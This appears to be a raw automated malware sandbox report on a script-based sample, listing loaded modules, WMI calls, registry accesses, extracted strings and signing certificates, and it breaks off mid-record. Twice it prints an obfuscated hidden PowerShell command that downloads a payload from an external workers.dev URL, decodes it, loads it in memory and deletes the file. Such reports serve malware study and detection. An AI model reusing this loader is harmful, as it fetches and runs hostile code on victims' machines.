00000000-00003340.00000001.201439.CA820000.00000004.mdmp "o turn this feature off, remove the registry value [HKLM\Software\Microsoft\Fusion!EnableLog]." in Source: 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp "1-735145574-3570218355-1207367261-1001\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders" in Source: 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp3b:T2bf0,"WScript.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff857e10000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8792d0000 "WScript.exe" loaded module "RPCRT4.DLL" at base 7ff87e6e0000 "WScript.exe" loaded module "KERNEL32.DLL" at base 7ff87c710000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\JSCRIPT.DLL" at base 7ff855ef0000 "WScript.exe" loaded module "AMSI.DLL" at base 7ff867050000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff873000000 "WScript.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff8648a0000 "WScript.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff87bba0000 "WScript.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff87bba0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff87bba0000 "WScript.exe" loaded module "KERNEL32" at base 7ff87c710000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\F9BOVG8B.DLL" at base 7ff862c70000 "WScript.exe" loaded module "WLDP.DLL" at base 7ff879cf0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff87c9e0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff87b720000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff87a130000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ff8674b0000 "WScript.exe" loaded module "OLE32.DLL" at base 7ff87be70000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff87b930000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ff861e80000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\SCROBJ.DLL" at base 7ff85f890000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\MLANG.DLL" at base 7ff871c20000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ff87bba0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMDISP.DLL" at base 7ff85f4d0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ff871200000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WMIUTILS.DLL" at base 7ff86f7c0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ff86eca0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ff87bba0000 "WScript.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ff87bba0000 "WScript.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ff86ed40000 "powershell.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ff857e10000 "powershell.exe" loaded module "KERNEL32.DLL" at base 7ff87c710000 "powershell.exe" loaded module "ADVAPI32.DLL" at base 7ff87c9e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ff87bba0000 "powershell.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ff87bba0000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ff87bba0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ff855f10000 "powershell.exe" loaded module "SHLWAPI.DLL" at base 7ff87be10000 "powershell.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ff87ad00000 "powershell.exe" loaded module "VERSION.DLL" at base 7ff873000000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ff84dfb0000 "powershell.exe" loaded module "USER32.DLL" at base 7ff87c130000 "powershell.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ff87bba0000 "powershell.exe" loaded module "MSCOREE.DLL" at base 7ff85bd00000 "powershell.exe" loaded module "NTDLL" at base 7ff87e940000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ff87cab0000 "powershell.exe" loaded module "RPCRT4.DLL" at base 7ff87e6e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\FE2524177EB3088C77BE666722039F52\MSCORLIB.NI.DLL" at base 7ff84c9b0000 "powershell.exe" loaded module "OLE32.DLL" at base 7ff87be70000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ff87cab0000 "powershell.exe" loaded module "OLEAUT32.DLL" at base 7ff87c880000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\E43DD9C73AB5615E461BF5109C3FACD6\SYSTEM.NI.DLL" at base 7ff84bd40000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\0D59B0E237D7519417DE10CD84BDA4E7\SYSTEM.CORE.NI.DLL" at base 7ff84b2c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PB378EC07#\B5BA37E1558CED178A99011A1D659B52\MICROSOFT.POWERSHELL.CONSOLEHOST.NI.DLL" at base 7ff855da0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ff87a130000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ff87bb20000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAA57FC8CC#\6DA01910C256231D1C50AD0AACEE5941\SYSTEM.MANAGEMENT.AUTOMATION.NI.DLL" at base 7ff849250000 "powershell.exe" loaded module "COMBASE.DLL" at base 7ff87cab0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ff87cab0000 "powershell.exe" loaded module "NTDLL.DLL" at base 7ff87e940000 "powershell.exe" loaded module "SHELL32.DLL" at base 7ff87d100000 "powershell.exe" loaded module "PSAPI.DLL" at base 7ff87e800000 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ff87b720000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WINTRUST.DLL" at base 7ff87b720000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ff87b930000 "powershell.exe" loaded module "AMSI.DLL" at base 7ff8648a0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ff873000000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPOAV.DLL" at base 7ff862ca0000 "powershell.exe" loaded module "KERNEL32" at base 7ff87c710000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\F9BOVG8B.DLL" at base 7ff85f4d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\7B1F35FB0C2D6955CE5AF2BD372C65F2\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ff855d00000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ff87b930000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\B221AF81285C1305324612E6DC9C88FF\SYSTEM.MANAGEMENT.NI.DLL" at base 7ff855b90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\8AD4C0AF5B3D51A0F3A4DAC0D44D85D4\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ff8490e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\5EE35DEBFC22F727E70E4479DDCBC045\SYSTEM.XML.NI.DLL" at base 7ff848830000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NUMERICS\86CFD69CE1261BAF4740E7606CADE014\SYSTEM.NUMERICS.NI.DLL" at base 7ff85b490000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\7BED49C46DE9295A8453DB205C60A028\SYSTEM.DATA.NI.DLL" at base 7ff847ec0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ff847b50000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\4BEB1EECA20B27D4BD1BB9880F03CC2A\SYSTEM.CONFIGURATION.NI.DLL" at base 7ff847a10000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ff87bba0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ff8478c0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\7FF5199E757CB8AF9AD949453F698D09\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ff847850000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\604272B0FAEC2E09D53D38E03BC89C6C\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ff847770000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ff858290000 "powershell.exe" loaded module "SECUR32.DLL" at base 7ff872040000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ff87ab90000 "powershell.exe" loaded module "WLDP.DLL" at base 7ff879cf0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ff8792d0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.12.17007.18022-0\MPCLIENT.DLL" at base 7ff847690000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ff87c710000 "powershell.exe" loaded module "USERENV.DLL" at base 7ff87abc0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ff87c9e0000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ff87cab0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P521220EA#\DF7D947A99CBCFAA726B127726F05476\MICROSOFT.POWERSHELL.COMMANDS.UTILITY.NI.DLL" at base 7ff846980000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFE64A9051#\120A0532577F871C2415502D9EDACDD6\SYSTEM.CONFIGURATION.INSTALL.NI.DLL" at base 7ff862c70000 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ff87a7f0000 "powershell.exe" loaded module "RASAPI32.DLL" at base 7ff86f250000 "powershell.exe" loaded module "RASMAN.DLL" at base 7ff86f1d0000 "powershell.exe" loaded module "WS2_32.DLL" at base 7ff87cf20000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ff87a520000 "powershell.exe" loaded module "WINHTTP.DLL" at base 7ff877250000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ONDEMANDCONNROUTEHELPER.DLL" at base 7ff85c7e0000 "powershell.exe" loaded module "IPHLPAPI.DLL" at base 7ff87a2b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ff873950000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ff873dd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\SCHANNEL.DLL" at base 7ff87a070000 "powershell.exe" loaded module "MSKEYPROTECT.DLL" at base 7ff86d4b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\NCRYPTSSLP.DLL" at base 7ff86d500000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\D922445A828B30938C72D375A3B34A60\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ff846740000 "powershell.exe" loaded module "CLRJIT.DLL" at base 7ff8478c0000 "powershell.exe" loaded module "ADVAPI32" at base 7ff87c9e0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.NET.HTTP\04AB5D047CC99FC5DAD36592F805B227\SYSTEM.NET.HTTP.NI.DLL" at base 7ff846690000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.V9921E851#\FB4BA4DB52CA77687F807BB068871EC2\MICROSOFT.VISUALBASIC.NI.DLL" at base 7ff8464600003c:T50d,"WScript.exe" called "WbemScripting.SWbemLocator.1.CreateObject" ... "WScript.exe" called "WbemScripting.SWbemLocator.1.ConnectServer" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer").Get" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get").Methods_" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get")("Methods_").Item" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get")("Methods_")("Item").InParameters" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get")("Methods_")("Item")("InParameters").SpawnInstance_" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get").SpawnInstance_" with result: "IDispatch" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get")("SpawnInstance_").Unnamed" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get")("Methods_")("Item")("InParameters")("SpawnInstance_").Unnamed" ... "WScript.exe" called "WbemScripting.SWbemLocator.1("ConnectServer")("Get").ExecMethod_" with result: "IDispatch" ...3d:T4ae,Found string "$pathsToProcess += Resolve-Path -LiteralPath $LiteralPath | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "$pathsToProcess += Resolve-Path $Path | Foreach-Object ProviderPath" (Indicator: "Resolve-Path"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "if(Test-Path -LiteralPath $filePath -PathType Container)" (Indicator: "Test-Path"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "Write-Error -Message $errorMessage -Category ReadError -ErrorId "FileReadError" -TargetObject $FilePath" (Indicator: "Write-Error"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp") Found string "Write-Error -ErrorRecord $errorRecord" (Indicator: "Write-Error"; Source: "00000000-00003340.00000000.201294.CCB30000.00000004.mdmp, 00000000-00003340.00000001.201439.CCB30000.00000004.mdmp")3e:T583,"WScript.exe" touched "JScript Language" (Path: "HKCU\CLSID\{F414C260-6AC0-11CF-B6D1-00AA00BBBB58}") "WScript.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "WScript.exe" touched "Constructor that allows hosts better control creating scriptlets" (Path: "HKCU\CLSID\{06290BD1-48AA-11D2-8432-006008C3FBFC}\TREATAS") "WScript.exe" touched "Multi Language Support" (Path: "HKCU\CLSID\{275C23E2-3747-11D0-9FEA-00AA003F8646}\TREATAS") "WScript.exe" touched "WBEM Scripting Locator" (Path: "HKCU\CLSID\{76A64158-CB41-11D1-8B02-00600806D9B6}\TREATAS") "WScript.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "WScript.exe" touched "WbemDefaultPathParser" (Path: "HKCU\CLSID\{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}\TREATAS") "WScript.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "WScript.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "WScript.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "WScript.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS")3f:Tfde,Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00002120-00000C2B-2133322622] Observed system executable string:"%WINDIR%\system32\advapi32.dll" [Source: 00000000-00002120-00000C2B-2133443118] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00003340-00000C2E-125408726] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00003340-00000C2B-2134606806] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00003340-00000C2B-2134649483] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003340-00000C2B-2134685107] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\fe2524177eb3088c77be666722039f52\mscorlib.ni.dll" [Source: 00000000-00003340-00000C2B-2134790921] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00003340-00000C2B-2134803954] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00003340-00000C2B-2134826561] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00003340-00000C2B-2134853519] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\e43dd9c73ab5615e461bf5109c3facd6\System.ni.dll" [Source: 00000000-00003340-00000C2B-2134904217] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\0d59b0e237d7519417de10cd84bda4e7\System.Core.ni.dll" [Source: 00000000-00003340-00000C2B-2134929976] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00003340-00000C2B-2134966017] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00003340-00000C2B-2135044029] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00003340-00000C2B-2135105910] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003340-00000C2B-2135201829] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00003340-00000C2B-2135231047] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00003340-00000C2B-2135364705] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003340-00000C2B-2135537116] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00003340-00000C2B-2135668466] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00003340-00000C2B-2135681438] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00003340-00000C2B-2135703485] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\amsi.dll" [Source: 00000000-00003340-00000C2B-2135748981] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\b221af81285c1305324612e6dc9c88ff\System.Management.ni.dll" [Source: 00000000-00003340-00000C2B-2136005554] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Xml\5ee35debfc22f727e70e4479ddcbc045\System.Xml.ni.dll" [Source: 00000000-00003340-00000C2B-2136040215]40:T803,Spawned process "powershell.exe" with commandline "-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]: ..." (UID: 00000000-00003340, Additional Context: "(('{4}compromised = {0}https://rough-truth-e072.publi'+'cftpresend.worke'+'rs.dev/eghdpz{0}'+'; {4}spheres = {0}'+'C:{1}Users{1}Public{1}Downloads{1}payload.txt{'+'0}; {4}gapesing'+' = ['+'activator]::createInstance([net.webc'+'lient]); {4}gapesing.Headers'+'.Add({0}User-Agent{0}, {0}Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '+'(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36{0})'+'; {4}gapesing.Downloa'+'dFile({4}compromised, {4}sph'+'e'+'res); {4}linen = (Get-Conte'+'nt {4}spheres -Raw); {4}tered'+'ine = {4}l'+'inen.Replace({3}*{3},{3}A{3'+'}); {4}quinze = [char[]](({4}ter'+'edine.T'+'oCharArray())[({4}teredine.Length-1)..0]); {4}uscock = [System.Convert]::FromBase64String(-join {4}quinze); [AppDomain]::CurrentDomain.'+'Load({4}uscock) {'+'2} Out-Null; [Win32.RMP.aaaaaaa]::aaaaaaaaaaa({3'+'}KnPRQ8DzXSbFOoM6MDteCJya4bu6mEfpgRMsfW/yE+UtV0uRxZ2G6JrucZaojJ9+Zhzuu88lQYUtIpJm4gEdL'+'bCHgmmCvxLpydBNfjS+'+'1eM={3},{3}{3}'+',{3}pckPmJ3'+'vwG'+'fuB2zyXqRvYVuXpA'+'8me001'+'4Xc9Jpnvt1ETXoyAScyEckZUk23jsplC'+'{3},{3}10aUWX/VI7I'+'Bun4ltPwU1UIOvtWMao9jdYXe82MpwoI={3},{'+'3}IFnjAlijPC0LhRem3hMW2Jgplc/zpnzxRB0okiViTXU={3},{3}{3},{3}2PqddTjp5p4P1IVxD+pTVieCGGuJVln37yrkCDszCxU={3},{3}{3'+'},{3}w8y6tgt+I5PpMFFZqToQZT'+'jykuRyrzZW+6ECh5GW15o={3},{3}tlb2gI5UXowgbdL71JnoNJ/wkshHxoGJ0KVBfWC1msvMIqHFapIakWzhPwl9aggf{3},{3}DRElKeCbtb'+'73XMBV9lQN5Hg3l1vRuBT38OWRtrI'+'wJL'+'U={3},{3}{3},{3}72LUaD'+'EjHxyzR+cRSsk+Zx1IfuM'+'sJRxIchr7+0i1KYQ={3},{3}{3'+'},{3'+'}32L0L93SWi2F81F36JYESgNEX5tnhVrAf3MOND+IqLw={3},{3}ZDSjvyNw4'+'v'+'kiI65/7UQjZ7mkPWd/qvV5R7B3/yOnXzE={3},{3}{3},{3}{3},{3}{3}); Remove-Item -Path {4}sph'+'eres '+'-Force -ErrorAction SilentlyContinue')-f[CHAr]34,[CHAr]92,[CHAr]124,[CHAr]39,[CHAr]36)|. ((vaRiabLe '*mdr*').NAMe[3,11,2]-joiN'')"), Spawned process "Caspol.exe" (UID: 00000000-00003580), Spawned process "Caspol.exe" (UID: 00000000-00004104)41:T803,Spawned process "powershell.exe" with commandline "-WindowStyle Hidden -Command "1..1 | % { [System.Text.Encoding]: ..." (UID: 00000000-00003340, Additional Context: "(('{4}compromised = {0}https://rough-truth-e072.publi'+'cftpresend.worke'+'rs.dev/eghdpz{0}'+'; {4}spheres = {0}'+'C:{1}Users{1}Public{1}Downloads{1}payload.txt{'+'0}; {4}gapesing'+' = ['+'activator]::createInstance([net.webc'+'lient]); {4}gapesing.Headers'+'.Add({0}User-Agent{0}, {0}Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 '+'(KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36{0})'+'; {4}gapesing.Downloa'+'dFile({4}compromised, {4}sph'+'e'+'res); {4}linen = (Get-Conte'+'nt {4}spheres -Raw); {4}tered'+'ine = {4}l'+'inen.Replace({3}*{3},{3}A{3'+'}); {4}quinze = [char[]](({4}ter'+'edine.T'+'oCharArray())[({4}teredine.Length-1)..0]); {4}uscock = [System.Convert]::FromBase64String(-join {4}quinze); [AppDomain]::CurrentDomain.'+'Load({4}uscock) {'+'2} Out-Null; [Win32.RMP.aaaaaaa]::aaaaaaaaaaa({3'+'}KnPRQ8DzXSbFOoM6MDteCJya4bu6mEfpgRMsfW/yE+UtV0uRxZ2G6JrucZaojJ9+Zhzuu88lQYUtIpJm4gEdL'+'bCHgmmCvxLpydBNfjS+'+'1eM={3},{3}{3}'+',{3}pckPmJ3'+'vwG'+'fuB2zyXqRvYVuXpA'+'8me001'+'4Xc9Jpnvt1ETXoyAScyEckZUk23jsplC'+'{3},{3}10aUWX/VI7I'+'Bun4ltPwU1UIOvtWMao9jdYXe82MpwoI={3},{'+'3}IFnjAlijPC0LhRem3hMW2Jgplc/zpnzxRB0okiViTXU={3},{3}{3},{3}2PqddTjp5p4P1IVxD+pTVieCGGuJVln37yrkCDszCxU={3},{3}{3'+'},{3}w8y6tgt+I5PpMFFZqToQZT'+'jykuRyrzZW+6ECh5GW15o={3},{3}tlb2gI5UXowgbdL71JnoNJ/wkshHxoGJ0KVBfWC1msvMIqHFapIakWzhPwl9aggf{3},{3}DRElKeCbtb'+'73XMBV9lQN5Hg3l1vRuBT38OWRtrI'+'wJL'+'U={3},{3}{3},{3}72LUaD'+'EjHxyzR+cRSsk+Zx1IfuM'+'sJRxIchr7+0i1KYQ={3},{3}{3'+'},{3'+'}32L0L93SWi2F81F36JYESgNEX5tnhVrAf3MOND+IqLw={3},{3}ZDSjvyNw4'+'v'+'kiI65/7UQjZ7mkPWd/qvV5R7B3/yOnXzE={3},{3}{3},{3}{3},{3}{3}); Remove-Item -Path {4}sph'+'eres '+'-Force -ErrorAction SilentlyContinue')-f[CHAr]34,[CHAr]92,[CHAr]124,[CHAr]39,[CHAr]36)|. ((vaRiabLe '*mdr*').NAMe[3,11,2]-joiN'')"), Spawned process "Caspol.exe" (UID: 00000000-00003580), Spawned process "Caspol.exe" (UID: 00000000-00004104)42:T57a,The input sample is signed with a certificate issued by "CN=YR1, O=Let's Encrypt, C=US" (SHA1: 07:E1:C0:5C:BC:21:9F:1C:90:56:96:09:27:0C:BD:9D:73:AA:E8:BF; see report for more information) The input sample is signed with a certificate issued by "CN=Root YR, O=ISRG, C=US" (SHA1: CB:CF:D0:9C:E3:CD:22:D9:9D:94:E5:8F:92:E9:89:8F:BE:E5:1A:5E; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X1, O=Internet Security Research Group, C=US" (SHA1: AB:9D:02:63:24:4D:D0:32:6E:B6:70:15:70:5A:66:7E:79:CF:E9:98; see report for more information) The input sample is signed with a certificate issued by "CN=YE2, O=Let's Encrypt, C=US" (SHA1: 26:37:D2:C5:84:C7:9E:57:61:13:85:94:C2:35:FF:89:11:19:44:0D; see report for more information) The input sample is signed with a certificate issued by "CN=Root YE, O=ISRG, C=US" (SHA1: F8:15:8C:A8:A3:A7:C5:DB:D7:84:22:18:F5:D9:49:CE:C8:3A:CD:BA; see report for more information) The input sample is signed with a certificate issued by "CN=ISRG Root X2, O=Internet Security Research Group, C=US" (SHA1: 